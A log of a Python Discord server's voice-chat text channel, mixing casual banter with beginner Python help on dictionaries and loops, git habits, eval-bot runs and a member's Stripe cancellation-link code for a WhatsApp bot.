#voice-chat-text-0
1 messages ยท Page 152 of 1
I got also some various blood tests done, like Vit D, B12, zinc, magnezium, and a bunch of other stuff
To see if I have some issues
Everyone is fond of owls.
Who is?
Except for mice and shrews.
Who?
Who?
Lmao
Who?
Lma whoo
I can't get into to chat? there's a limit?
you're not allowed, sorry
But it's 25
just you, everyone else is invited to the party
So it's something on your end
oh cause it shows the room as a .... 'room' but no other clicks to get into chat
Yep, we've got a voice gate. #voice-verification has more details on it
alright thank you
No problem! Also, even if you can't verify right now, you can always talk in here. If we're in VC, we're typically watching this channel so no one gets left out of the convo
am i just not allowed to have voice i can't even see the room to click in?
Have you got the category expanded?
PFFFFF omg its my fault. (of course it is) i didn't bring the menu down
Done that before
didn't even realize they could be brought up
Yep yep
hi guys does this server only learn phyton or other programming langueges? Sorry for my bad english
We talk about other languages on the regular
mostly python my guy
But typically it's for learning and messing with Python
Like the help channels are specifically for Python
alr tahnks Hemlock.
Any time
Let's go fly a kite, up to the highest heights...
Amadou is a spongy material derived from Fomes fomentarius and similar fungi that grow on the bark of coniferous and angiosperm trees, and have the appearance of a horse's hoof (thus the name "hoof fungus"). It is also known as the "tinder fungus" and is useful for starting slow-burning fires. The fungus must be removed from the tree, the hard o...
@hushed elm
aaaaa ok yeah there is a village in romania that does that
Balsamic.
Why were you eating pavers?
I love my pavers fresh
what are we speaking about?
the pavement i've been eating
Sicknesses
cuz you can see pavement in my stomach
I caught the tail end of that joke.
Bleh.
Tip them and roll them down
Someone recommended a site or tool for learning vim, I can't remember who it was
Can't seem to find it either
@vocal basin Were you the one recommending something to me?
My memory is really bad
Maybe...don't stress it?
What's your internet running off?
Hot potato, hot hot potato, hot potato, hot hot.
Or tamale, as you prefer.
Huh
Neovim hasn't even hit a 1.0 release
Would have thought it did
@brittle gazelle Yo
@teal osprey Yo
I think I know what was fucking me up initially with the keys for movement in vim. I keep feeling like the semi-colon key should be move right and J should be move left
On the off chance I need to edit something while on a Linux server
Because I have jack shit to do right now and I hate myself
Hey guys, is anyone familiar with COPAAL approach (Corroborative Paths) for knowledge graph fact-checking?
Bit over my head
Oh that looks neat
Parents need to parent. The internet is not a nanny.
@brittle gazelle Welcome back
@amber raptor do Docker containers get sandboxed away from system files?
Like do you have to explicitly give them access to particular sections of the drive
volumes
For context, Opal is wanting to run a Minecraft server but is understandably concerned about mods potentially messing with files they shouldn't
Or client rather
a more isolated option
a less isolated option
https://docs.docker.com/storage/bind-mounts/
unless you let Docker or Jail or Zone access something, it generally can't
unlike with chroot
He's just wanting to make sure that something like the Fracturizor thing doesn't happen on his rig
(I don't know how it's spelled, I'm not a Minecrafter)
Could just be a general sandboxing
Funkle
Yeah
If you get arthritis in your ankles, are they called crankles?
Lymph Bizkit
If you've got it, you don't need it. If you don't have it, you need it.
This is a riddle formulated without an answer in mind.
Yes
In fact, there is Docker Container called Kuard: https://github.com/kubernetes-up-and-running/kuard if you want to mess around
found back some old cat pics
I've shown before but here's my keyboard:
Kind of looks like handprints.
@somber heath it is time for your abilities again, need new unique name for re-writtwn grown up aecor
Sapling
I'll give it thought.
@lavish rover Latica. https://en.m.wikipedia.org/wiki/Sea_krait
Sea kraits are a genus of venomous elapid sea snakes (subfamily: Laticaudinae), Laticauda. They are semiaquatic, and retain the wide ventral scales typical of terrestrial snakes for moving on land, but also have paddle-shaped tails for swimming. Unlike fully aquatic ovoviviparous sea snakes, sea kraits are oviparous and must come to land to dige...
C/Snake
aecor backwards is rocea which sounds cool, but a bit on the nose
"acorn" in Latin is "ilex", which is cool
is it worth learning the "Python IT automation professional certificate" from coursera
has anyone tried it
!e
code
!eval [python_version] <code, ...>
Can also use: e
Run Python code and get the results.
This command supports multiple lines of code, including formatted code blocks. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.
The starting working directory /home, is a writeable temporary file system. Files created, excluding names with leading underscores, will be uploaded in the response.
If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside them.
By default, your code is run on Python 3.11. A python_version arg of 3.10 can also be specified.
We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!
If you learn something from it then sure. However I don't think it would help when getting a job
@whole bear :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 2, in <module>
003 | os.name()
004 | TypeError: 'str' object is not callable
thx
Did you just heart react to your own message

Canโt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
hello,does anyone know how to write code for detecting the horizontal line using projection?I would be glad if anyone could answer
hahahahahahahahha
The mission of the CVEยฎ Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
posted in another server

@lucid blade http://66.135.9.182/images/
the guy who made the format said it's a jif
fixed by just removing code
https://github.com/python-discord/bot/commit/67390298852513d13e0213870e50fb3cff1424e0
graphical interchange format
sup
VELO DE VILLE ELOPS 120 ร CADRE HAUT BLEU au prix de โ 249โฌ โ sur Decathlon.fr. Notre รฉquipe de concepteursโธฑtrices a conรงu ce vรฉlo classique hollandais confortable pour vos trajets urbains occasionnels et pour y transporter l'essentiel.

I am sorry
all good lol
i jus applied to be in the air force
in the earth
from grinding beans to gunning machines
@lunar haven
wtf
tesla T4
mood
its only 9usd
i mean not that much
yeah thats how i saw that
lmao
An open source machine learning library for research and production.
lmao
@tulip plover https://www.kaggle.com/learn
Practical data skills you can apply immediately: that's what you'll learn in these no-cost courses. They're the fastest (and most fun) way to become a data scientist or improve your current skills.
there is also standford course by andrew ng as well
not "anything" tbh
still couldnt find an extensive browser exploitation course for free
it took way too long for me to solve
good enough?
I'll try improving it a little bit further
!server
@tulip plover for exact numbers of staff members
hey hey.
im feeling more a hat than a knife ๐
jahahahaha
yes.
tha talking hat
Yes, Im the ๐๏ธ hat, not the ๐ฌ hat.
that's great! ๐
I was just wandering around the discord Vc's.
๐ฆ
?
I was wondering what u were doing ๐
hahaha.
mdidle opf the bell curve, that's a nice way to say you're halfway! ๐
C+? or ๐ฆ ?
๐
yes, zebras combine, so a lion can not see it.
ytes, yes, I've read about it. ๐
its a nice way to survive the hunting animals.
I've been wondering how some type of animals survive the wild.
Really, like.. Kiwi's ?
the New-zealand animals.
@lunar haven IntelliJ-based, therefore likely to be PyCharm
which has integration in PyCharm
and this is PyCharm logos
part of the conversation is here, part is there
(I'm just answering in the same channel I'm asked in)
branch per each major release
everything else is probably temporary
single branch, almost always;
I don't cooperate on projects often enough to have multiple branches;
neither do I frequently make any big potentially breaking changes to code;
but if that does happen, I create a temporary branch (which sometimes doesn't get deleted)
only latest
no separation between stable and latest
for most of my code, there is exactly one place where it runs
yes, because for me it makes no sense to use extra branches
version control doesn't imply branches
I have library code
code that depends on it, references a specific commit
so, for example, in requirements.txt I always have @commithash suffix
to make sure that updating the library doesn't break whatever depended on it
use tags
I'll be back in ~2 hours
!e
import random
random.seed(1)
for i in range(5):
print(random.randint(1, 10), end=' ')
print()
random.seed(1)
for i in range(5):
print(random.randint(1, 10), end=' ')
@wind raptor :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 3 10 2 5 2
002 | 3 10 2 5 2
@tulip plover example of seeding random
Burglar is a 1987 CanadianโAmerican comedy film directed by Hugh Wilson and distributed by Warner Bros. The film stars Whoopi Goldberg and Bobcat Goldthwait.
hey
im mute
nice bro
what
where are u from
what is this
www
yeah
ooh
bro add me
bro im man
no way
kind of
no bro im new in this
@lunar haven hey
bro im suppressed
!voice
Canโt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
!voice
@cunning wigeon ๐
Have you been to see Doctor Strange in the Multiverse of Madness yet?
#GrahamNortonShow #GrahamNorton #TheGNShow #BenedictCumberbatch #DoctorStrange
Follow us here:
Facebook: https://www.facebook.com/thegrahamnor...
Instagram: https://www.instagram.com/thegrahamno...
Twitter: https://twitter.com/TheGNShow
TikTok: https://www.tiktok.com/@thegns...
I must send 50 messages
I am a good boy
Ye
hahahha
I'm from Ukraine
)
And 5 hours before this time
I saw some explores
bbbbbbbbbbbooooooooooooom
Russian bombs
I'm from Ukraine from Dnipro
I work a security guard
In hospital
I learn python and now I read OOP
yea
i am currently running this
count = 0
for j in range (100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
for i in range (10000000000000000000):
count += 1
print (count)
its currently at
208399448
class Square:
def init(self, side):
self.__side = side
self.__area = None
@property
def side(self):
return self.__side
@side.setter
def side(self, value):
if not isinstance(value, (int, float)):
raise ValueError("Value must be number!")
else:
if value == self.__side:
pass
else:
self.__side = value
self.__area = None
@property
def area(self):
if self.__area is None:
print('Calculate')
self.__area = self.side 2
return self.side 2
c = Square(5)
print(c.area)
print(c.area)
c.side = 5
print(c.area)
c.side = 6
print(c.area)
I don't know how send beaty code
cringe
javascript sucks
python can make everything
no
but a couple days
javascript = change word color > +999999$
๐คฎ
javascript was made in 9 days
python wasn't
0101010101010101010
what do yall think of rust?
Gofek
git remote remove
Why you don't use PyCharm?
YES
visual studio is better
*I use professionals
is beacause my pthon tutorial said so
๐คฎ
i use pycharm because i cannot be fucked moving my project over
Okay
++++++++
btw
I learn python half a year
what is visual studio without the code
And I'm 19 years old
i learnt it in a month
python is sooo easy
via 30 minutes
A CAN TALKKKKKKKKK
I'm one who can't talk(((((((((((((((((((((((((((((((((
Get it below 500ms ๐
here anyone use juipter for python
my juipter notebook is not working its showing error code
can anyone help me out
oh wow everyone left
he was asking what the error code was
oh i didnt hear that
you mean git hub?
oh ok. not that familar with it
ah interesting
well was just popping on to see what was going on. going to head to bed ๐
have a good night ๐
no u
I might be able to reduce memory usage, I guess
you just open the folder in vscode...
* Code
uhh
so basically
i want to store 2 values in a loop
which are linked
i.e i can printt hem
together
like a name and mark
for 10 people
That sounds like you want a dictionary.
So you'd want to populate the dictionary with the user inputs, then loop through the items of the dictionary, splitting the key and value up in that loop.
@hearty blade ๐
this is the thing ๐ญ
i am just
bad at explaining
i was thinking a for look
loop
with if statements
and a list would be enough
but that did not work out
I'll just play around with some demonstrations. They may or may not have relevance to the project. You should use these examples not to copy from so much as to understand them. Sound okay?
yeye
i dont want someone
to give me the answer
straight
as that just
stunts my learning
mhm
!e py a, b = 'a', 0 # ('a', 0) print(a) print(b)
@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | a
002 | 0
This is called unpacking.
mhm
I am unpacking the tuple, (a, 0) into separate variables.
You are familiar by now with assignment.
Another way to look at a for loop is as assignment on repeat.
As variable unpacking is also related to assignment, so it can also be used in for loops.
!e py my_dict = {'a': 0, 'b': 1, 'c': 2} for key, value in my_dict.items(): print(f'{key = }, {value = }')
@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | key = 'a', value = 0
002 | key = 'b', value = 1
003 | key = 'c', value = 2
Also, remember that data structures can be nested.
isnt a tuple always constant?
You can, for example, have a dictionary with dictionaries as values.
A tuple is immutable, yes.
Once created, a tuple's references cannot be reassigned.
But you can create new tuples.
Hey Chris.
You could have a list of dicts.
here, i want to make a dic with the users inputs
how would that work
depending on the definition of constant
variable holding a tuple can change, contents of elements of a tuple can change
You could delve into classes, which I think may be a little out of scope for the assignment.
t = ([1, 2], [3, 4])
t = ([5, 6], [7, 8]) # works
t[1].append(9) # works
t[1] = [10, 11, 12] # fails
!e py my_dict = dict() my_dict['apple'] = 5 my_dict['pear'] = 7 print(my_dict)The creation of items of a dictionary.
@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
{'apple': 5, 'pear': 7}
The object given inside the square brackets here being known as the key, the objects given right of the equals sign being known as the value. Together, they form an item.
Of the dictionary.
Each key can only appear once as a key of that dictionary.
and could i replace apple and pear with the input the user gave
!e
fruits = ["apple", "banana"]
fruit_name_lengths = {}
for fruit_name in fruits:
fruit_name_lengths[fruit_name] = len(fruit_name)
print(fruit_name_lengths)
Now you're cooking with gas.
@vocal basin :white_check_mark: Your 3.11 eval job has completed with return code 0.
{'apple': 5, 'banana': 6}
wait so then
i could
replace the values
with marks
and it would do
what i want>?
@terse needle It has a very agreeable aesthetic and is useful to boot.
It could be a component.
!e py my_dict = {'apples': 7} print(my_dict['apples'])Retrieval of a value of a dictionary by specifying its associated key.
@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
7
!e py my_dict = {'a': 0, 'b': 1, 'c': 2} for key in my_dict: print(key)By default, iterating over dictionary yields its keys
@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | a
002 | b
003 | c
!e
_input = iter("""\
2
apple 5
banana 7
""".splitlines()).__next__
input = lambda *_: _input()
fruit_counts = {}
entry_number = int(input())
for _ in range(entry_number):
name, count_str = input().split()
count = int(count_str)
fruit_counts[name] = count
print(fruit_counts)
@vocal basin :white_check_mark: Your 3.11 eval job has completed with return code 0.
{'apple': 5, 'banana': 7}
@whole bear ๐
hello?
Yahoy.
@somber heath thank you
You joined voice, so I just gave you a wave so you'd know about this room, its text compliment.
I wonder if there's a way to display it better (so output includes input and whatever is passed to input()
seems to work
#bot-commands message
hey @gilded radish
!e
#include <stdio.h>
int main() {
fprintf(stdout, "Hello world");
return 0;
}
@cosmic lark :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 3
002 | int main() {
003 | ^^^^
004 | SyntaxError: invalid syntax
!e
import ctypes
import pathlib
if __name__ == "__main__":
libname = pathlib.Path("/usr/lib/libc.so.6").absolute()
c_lib = ctypes.CDLL(libname)
print(c_lib)
!e
import ctypes
import pathlib
if __name__ == "__main__":
libname = pathlib.Path("/usr/lib/libc.so.6").absolute()
c_lib = ctypes.CDLL(libname)
print(c_lib)
!e
import subprocess
arch = subprocess.check_output("uname -a", shell=True);
print(arch)
name["key"] = value
first 10 seconds there was 30 sirs
!stream 589486368049201163
โ @drifting latch can now stream until <t:1687625683:f>.
Just got back
Your Questions, My Answers
This Channel Monetise & Manage by Cookie Media (www.cookie-media.com)
i've been wondering if after all these years
you'd like to meet
to go over everything
they say that time's supposed to heal ya
but I ain't done much healing
๐ค
!stream 589486368049201163
โ @drifting latch can now stream until <t:1687626933:f>.
@late spoke could you help me with a whatsapp gpt trying to integrate stripe into it. having difficulties creating the cancel subscription
hey can anyone review my resume?
I would love to, but I have no idea how to. I haven't used either
alright, i appreciate the reply brother
how do i get access to talk?
!voice
Canโt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
thanks
@drifting latch could you help me with a whatsapp gpt trying to integrate stripe into it. having difficulties creating the cancel subscription
alright man. thanks. love the pronouns by the way๐คฃ
total_marks = {}
my_dict = {}
for i in range(0, 10):
name = input("enter your name")
test_1 = float(input("enter your marks for test 1"))
if not (21 > test_1 > 1):
exit("wrong value")
test_2 = float(input("enter your marks for test 2"))
if not (26 > test_2 > 1):
exit("wrong value")
test_3 = float(input("enter your marks for test 3"))
if not (36 > test_3 > 1):
exit("wrong value")
total_marks = test_1 + test_2 + test_3
average_marks = total_marks / 10
print("the average score for the class is", average_marks)
if total_marks > average_marks:
print(my_dict[name:total_marks])
my_dict[name] = total_marks
print(my_dict)
total_marks = {}
my_dict = {}
for i in range(0, 10):
name = input("enter your name")
test_1 = float(input("enter your marks for test 1"))
if not (21 > test_1 > 1):
exit("wrong value")
test_2 = float(input("enter your marks for test 2"))
if not (26 > test_2 > 1):
exit("wrong value")
test_3 = float(input("enter your marks for test 3"))
if not (36 > test_3 > 1):
exit("wrong value")
total_marks = test_1 + test_2 + test_3
average_marks = total_marks / 10
print("the average score for the class is", average_marks)
if total_marks > average_marks:
print(my_dict[name:total_marks])
my_dict[name] = total_marks
print(my_dict)
do you guys code with chatgpt?
@wind raptor hey chris could you help me with a whatsapp gpt trying to integrate stripe into it. having difficulties creating the cancel subscription. id rlly appreciate it man
@app.post("/cancel")
async def cancel_subscription(request: Request, Body: str = Form()):
form_data = await request.form()
whatsapp_number = form_data['From'].split("whatsapp:")[-1]
logger.info(f"Cancelling subscription for number: {whatsapp_number}")
# Retrieve the user's conversation from the database
conversation = Conversation.get_conversation(whatsapp_number)
if conversation.paid:
# Generate the cancellation link for the user
customer_id = conversation.customer_id
cancellation_link = generate_cancellation_link(customer_id)
# Update the conversation status to reflect the cancellation completion
conversation.paid = False
Conversation.update_conversation(conversation)
# Send the cancellation link to the user as an HTML message
cancellation_message = f"To complete the cancellation process, please <a href='{cancellation_link}'>click here</a>."
send_message(logger, whatsapp_number, cancellation_message)
else:
cancellation_message = "You don't have an active subscription to cancel."
send_message(logger, whatsapp_number, cancellation_message)
return ""
this is my main.py
base_url = "https://billing.stripe.com/p/login/"
cancellation_link = base_url + customer_id
return cancellation_link
!e
text = "aabbaa"
print(text[0:-1])
@wind raptor :white_check_mark: Your 3.11 eval job has completed with return code 0.
aabba
!e ```py
name = "abcdec"
name = name[::-1]
name = name.replace(name[0],"",1)
name = name[::-1]
print(name)
@knotty marlin :white_check_mark: Your 3.11 eval job has completed with return code 0.
abcde
!e
```py
code
```
this looks so wrong
@wind raptor any idea?
@whole bear could u help with the code i sent earlier?
mb for what ?
@app.post("/cancel")
async def cancel_subscription(request: Request, Body: str = Form()):
form_data = await request.form()
whatsapp_number = form_data['From'].split("whatsapp:")[-1]
logger.info(f"Cancelling subscription for number: {whatsapp_number}")
# Retrieve the user's conversation from the database
conversation = Conversation.get_conversation(whatsapp_number)
if conversation.paid:
# Generate the cancellation link for the user
customer_id = conversation.customer_id
cancellation_link = generate_cancellation_link(customer_id)
# Update the conversation status to reflect the cancellation completion
conversation.paid = False
Conversation.update_conversation(conversation)
# Send the cancellation link to the user as an HTML message
cancellation_message = f"To complete the cancellation process, please <a href='{cancellation_link}'>click here</a>."
send_message(logger, whatsapp_number, cancellation_message)
else:
cancellation_message = "You don't have an active subscription to cancel."
send_message(logger, whatsapp_number, cancellation_message)
return ""
@whole bear :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | ur code here
003 | ^^^^
004 | SyntaxError: invalid syntax
base_url = "https://billing.stripe.com/p/login/"
cancellation_link = base_url + customer_id # Modify this as per your actual cancellation link generation logic
return cancellation_link
this is utils.py
trying to make a whatsapp gpt
integrating stripe
!e ```from utils import generate_cancellation_link
@app.post("/cancel")
async def cancel_subscription(request: Request, Body: str = Form()):
form_data = await request.form()
whatsapp_number = form_data['From'].split("whatsapp:")[-1]
logger.info(f"Cancelling subscription for number: {whatsapp_number}")
# Retrieve the user's conversation from the database
conversation = Conversation.get_conversation(whatsapp_number)
if conversation.paid:
# Generate the cancellation link for the user
customer_id = conversation.customer_id
cancellation_link = generate_cancellation_link(customer_id)
# Update the conversation status to reflect the cancellation completion
conversation.paid = False
Conversation.update_conversation(conversation)
# Send the cancellation link to the user as an HTML message
cancellation_message = f"To complete the cancellation process, please <a href='{cancellation_link}'>click here</a>."
send_message(logger, whatsapp_number, cancellation_message)
else:
cancellation_message = "You don't have an active subscription to cancel."
send_message(logger, whatsapp_number, cancellation_message)
return ""
@stark blade :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | from utils import generate_cancellation_link
004 | ModuleNotFoundError: No module named 'utils'
It seemed like an easy feature to implement, a checkout page to place an order. But this payment gateway has a simple API, so we added that. And this email service provider makes it possible to send an email with one line of code! Finally we can notify downstream systems via a message queue. The code looks simple, 6 little lines of distributed s...
!e ```def generate_cancellation_link(customer_id):
base_url = "https://billing.stripe.com/p/login/"
cancellation_link = base_url + customer_id # Modify this as per your actual cancellation link generation logic
return cancellation_link
@stark blade :warning: Your 3.11 eval job has completed with return code 0.
[No output]
put py after ``` to include syntax highlighting
oh ok sorry new to this
so just py after the "```" then space then the code?
@app.post("/cancel")
async def cancel_subscription(request: Request, Body: str = Form()):
form_data = await request.form()
whatsapp_number = form_data['From'].split("whatsapp:")[-1]
logger.info(f"Cancelling subscription for number: {whatsapp_number}")
# Retrieve the user's conversation from the database
conversation = Conversation.get_conversation(whatsapp_number)
if conversation.paid:
# Generate the cancellation link for the user
customer_id = conversation.customer_id
cancellation_link = generate_cancellation_link(customer_id)
# Update the conversation status to reflect the cancellation completion
conversation.paid = False
Conversation.update_conversation(conversation)
# Send the cancellation link to the user as an HTML message
cancellation_message = f"To complete the cancellation process, please <a href='{cancellation_link}'>click here</a>."
send_message(logger, whatsapp_number, cancellation_message)
else:
cancellation_message = "You don't have an active subscription to cancel."
send_message(logger, whatsapp_number, cancellation_message)
return ""
is this better?
@app.post("/cancel")
async def cancel_subscription(request: Request, Body: str = Form()):
form_data = await request.form()
whatsapp_number = form_data['From'].split("whatsapp:")[-1]
logger.info(f"Cancelling subscription for number: {whatsapp_number}")
# Retrieve the user's conversation from the database
conversation = Conversation.get_conversation(whatsapp_number)
if conversation.paid:
# Generate the cancellation link for the user
customer_id = conversation.customer_id
cancellation_link = generate_cancellation_link(customer_id)
# Update the conversation status to reflect the cancellation completion
conversation.paid = False
Conversation.update_conversation(conversation)
# Send the cancellation link to the user as an HTML message
cancellation_message = f"To complete the cancellation process, please <a href='{cancellation_link}'>click here</a>."
send_message(logger, whatsapp_number, cancellation_message)
else:
cancellation_message = "You don't have an active subscription to cancel."
send_message(logger, whatsapp_number, cancellation_message)
return ""
def generate_cancellation_link(customer_id):
base_url = "https://billing.stripe.com/p/login/"
cancellation_link = base_url + customer_id
return cancellation_link
first one is main.py
second is utils.py
of course i got from utils import generate_cancellation_link
i see stripe has a customer portal where they could subscription so i am trying to send that portal but it isnt sending when i type /cancel on whatsapp
@whole bear were you able to look at it?
@vocal basin
ok
JavaScript was disabled in Russia due to security concerns
-- neuralmeduza, 09.01.2023
!stream 651519394673065989
โ @whole bear can now stream until <t:1687636626:f>.
@lunar haven
howdy
#shorts
Thank you so much for your support...I've never done anything like this before, and your encouragements and support have made it so much fun for me!
For Business Inquiries or Partnership, please contact me at keebtunes@gmail.com
- IN THIS VIDEO *
Akko Spring67
https://en.akkogear.com/product/spr-67-kit/?ref=30396
TKC Banana Splits
...
sorry i was doing an exam. It's not sending me the link to cancel subscription
@whole bear i need it to check if the customer is a paid customer
@turbid sandal that keyboard sounds nice
using the razor headset
If esports is everything, give it your all with the Razer BlackShark V2. Introducing a triple threat of amazing audio, superior mic clarity and supreme sound isolation. Fitted with titanium-coated drivers, a USB sound card, softer ear cushions and THX Spatial Audio, your time to turn pro is now.M...
the wireless one
is what i am using
My setup @whole bear
it is ๐
cant live without ๐
wow
i use it for trading
just got into programming
i do
i am not lool
too advance for me
yea its lol
๐คฃ
i just want to make a chatgpt on whatsapp @whole bear
i made it but i want to integrate stripe
cool
if any1 could help it be amazing
where did you guys learn to code
๐คฃ ๐คฃ
where you guys from?
@turbid sandal @whole bear @lunar haven
<!DOCTYPE html>
<html>
<head>
<title>Dynamic Header</title>
<script>
function updateElements() {
const urlParams = new URLSearchParams(window.location.search);
const userInput = urlParams.get('h');
const optionalText = urlParams.get('j');
if (userInput) {
const header = document.getElementById('header');
header.textContent = userInput;
}
if (optionalText) {
const optionalElement = document.getElementById('optional');
optionalElement.textContent = optionalText;
}
}
</script>
</head>
<body onload="updateElements()">
<h2 id="header"></h2>
<p id="optional"></p>
</body>
</html>
def handle_input(self):
input_text = self.textbox.get("end-2l linestart", "end-1c")
input_line = input_text.split("\n")[-1]
if not input_line:
self.textbox.insert(tk.END, "\n")
elif input_line.startswith("callcode"):
self.textbox.insert(
tk.END, "\nThis is a call for a function that doesn't exist!")
elif input_line.startswith("throw[") and input_line.endswith("]"):
throwing = input_line[6:-1]
try:
self.textbox.insert(tk.END, f"\n{throwing}")
except:
self.textbox.insert(
tk.END, "\nError 101: Unknown error type: 101\n")
elif input_line.startswith("writefile[") and input_line.endswith("]"):
filename, contents = input_line[10:-1].split("(")
contents = contents[:-1] # remove closing parentheses
try:
with open(filename, "w") as f:
f.write(contents)
self.textbox.insert(tk.END, "\nFile written successfully.")
except Exception as e:
self.textbox.insert(tk.END, f"\nERROR: {str(e)}")
self.textbox.tag_add("system", "end-2l linestart", "end-1c")
elif input_line == "help":
self.textbox.insert(
tk.END, "\n\nFunctions:\nhelp:\n Shows all functions\ncallcode:\n Does not exsist!\nwritefile[filename(data)]:\n writes to the file in square brackets the string in the round brackets\nreadfile[filename]:\n reads from the file in square brackets\nthrow[string]:\n prints the string to the screen\n\n")
else:
self.textbox.insert(tk.END, "\nERROR: Unrecognized command.\n")
self.textbox.see("end")
class Tooltip:
def __init__(self, widget, text):
self.widget = widget
self.text = text
self.widget.bind("<Enter>", self.show_tooltip)
self.widget.bind("<Leave>", self.hide_tooltip)
def show_tooltip(self, event=None):
x, y, cx, cy = self.widget.bbox("insert")
x += self.widget.winfo_rootx() + 25
y += self.widget.winfo_rooty() + 25
self.tooltip = tk.Toplevel(self.widget)
self.tooltip.wm_overrideredirect(True)
self.tooltip.wm_geometry("+%d+%d" % (x, y))
label = tk.Label(self.tooltip, text=self.text, justify='left',
background="#ffffff", relief='solid', borderwidth=1,
font=("tahoma", "8", "normal"))
label.pack(ipadx=1)
def hide_tooltip(self, event=None):
if self.tooltip:
self.tooltip.destroy()
chat thats crazy
def start_drawing(self, event):
self.start_x = event.x
self.start_y = event.y
def draw(self, event):
thickness = self.thickness_slider.get()
if self.current_tool == "pen":
if self.start_x and self.start_y:
self.canvas.create_line(
self.start_x, self.start_y, event.x, event.y,
fill=self.current_color, width=thickness
)
self.start_x = event.x
self.start_y = event.y
elif self.current_tool == "line":
self.canvas.delete("temp_line")
self.canvas.create_line(
self.start_x, self.start_y, event.x, event.y,
fill=self.current_color, width=thickness, tags="temp_line"
)
elif self.current_tool == "circle":
self.canvas.delete("temp_circle")
self.canvas.create_oval(
self.start_x, self.start_y, event.x, event.y,
outline=self.current_color, width=thickness, tags="temp_circle"
is it me or that kid is trippin?
its you
its not me
@turbid sandal is a genius
bro templeos has >100k lines
hes the new terry davis
@turbid sandal check dms
i like @turbid sandal
dont hate @whole bear
@turbid sandal lets jump on private call
@turbid sandal hands embrace a marvel of his own makingโan extraordinary personal computer constructed painstakingly from individual transistors, boasting a captivating LED screen painstakingly assembled by his skilled hands, all orchestrating the symphony of his meticulously crafted, Python Tkinter-based operating system.
@turbid sandal join back
adfaw
super came in clucth
@gritty garnet
jusst lick mods toes
@surreal hedge
With background @whole bear
the monitor at the bottom is a portable monitor
i use for my laptop
let me share travel setup
๐
desk also goes up and down
which helps
electric
probably my favorite part of the setup lol
what happened?
sorry?
idk what u r talking about
you'd want a mod who's active in VC for that
I can be a temp mod ๐
not right now haha
this is travel setup
fits all in 1 backpack
trading the stock market @stable axle
i am @whole bear
paying super the 12 year old kid to help me with that whatsapp gpt
i am
ill add
i need a mentor badly
@whole bear because my coding sucks
nice setup
!stream 222519893113831425
โ @white turret can now stream until <t:1687646084:f>.
!stream 651519394673065989
โ @whole bear can now stream until <t:1687647272:f>.
!stream 651519394673065989
โ @whole bear can now stream until <t:1687648467:f>.
!stream 297800369554194432
โ @fast gyro can now stream until <t:1687648983:f>.
git rebase
git tag --help
also ^
git some help
i didn't know this worked
thanks
tags in t shirts are itchy
i buy mine tag free
My prev org used a customized version of mercurial
!stream 651519394673065989
โ @whole bear can now stream until <t:1687652296:f>.
wtf, Discord has their own epoch?
!stream 651519394673065989
โ @whole bear can now stream until <t:1687653405:f>.
the damage you have done is irreversible per se; I might have to go to therapy to fix it. If you really are sorry you can pay for it
that is true tbh, I am invincible ๐ ๐ช
เฆฏเฆฆเฆฟ เฆคเงเฆฐ เฆกเฆพเฆ เฆถเงเฆจเง เฆเงเฆ เฆจเฆพ เฆเฆธเง เฆคเฆฌเง เฆเฆเฆฒเฆพ เฆเฆฒเง เฆฐเงเฅค
me neither cause I am not bengali either
ye
haan
(ye)
depends
. xxx . @whole bear
ms
!e
from datetime import datetime
print(datetime.fromtimestamp(14242015105796))
@vivid jacinth :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 2, in <module>
003 | print(datetime.fromtimestamp(14242015105796))
004 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
005 | ValueError: year 453281 is out of range
!e
from datetime import datetime
print(datetime.fromtimestamp(14242015105796 / 1000))
@vivid jacinth :white_check_mark: Your 3.11 eval job has completed with return code 0.
2421-04-24 03:18:25.796000
check my code above
it's a timestamp in ms
ok
!e
from datetime import datetime
print(datetime.fromtimestamp(14242015105796 / 1e6))
@vivid jacinth :white_check_mark: Your 3.11 eval job has completed with return code 0.
1970-06-14 20:06:55.105796
oops
!e
from datetime import datetime
print(datetime.fromtimestamp(1462015105796 / 1e3))
@vivid jacinth :white_check_mark: Your 3.11 eval job has completed with return code 0.
2016-04-30 11:18:25.796000
!e import datetime
now = datetime.datetime.now()
print(now)
@kindred basin :white_check_mark: Your 3.11 eval job has completed with return code 0.
2023-06-25 01:02:01.902145
@whole bear
1000
@whole bear :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | print(!e10)
003 | ^
004 | SyntaxError: invalid syntax
!e
print(1e10)
@vivid jacinth :white_check_mark: Your 3.11 eval job has completed with return code 0.
10000000000.0
@whole bear :white_check_mark: Your 3.11 eval job has completed with return code 0.
10000000000.0
!e
TOKEN = 'NjUxNTE5Mzk0NjczMDY1OTg5'
from base64 import b64decode
from datetime import datetime
token_int = int(b64decode(TOKEN))
MAIN_BITS_LEN = 64
timestamp = get_bits(token_int,MAIN_BITS_LEN,0,42)
interal_worker_id = get_bits(token_int,MAIN_BITS_LEN,42,5)
interal_process_id = get_bits(token_int,MAIN_BITS_LEN,47,5)
incremteded_for_each_process_id = get_bits(token_int,MAIN_BITS_LEN,52,12)
f = (timestamp + 1420070400000)/1000
print(datetime.fromtimestamp(f))
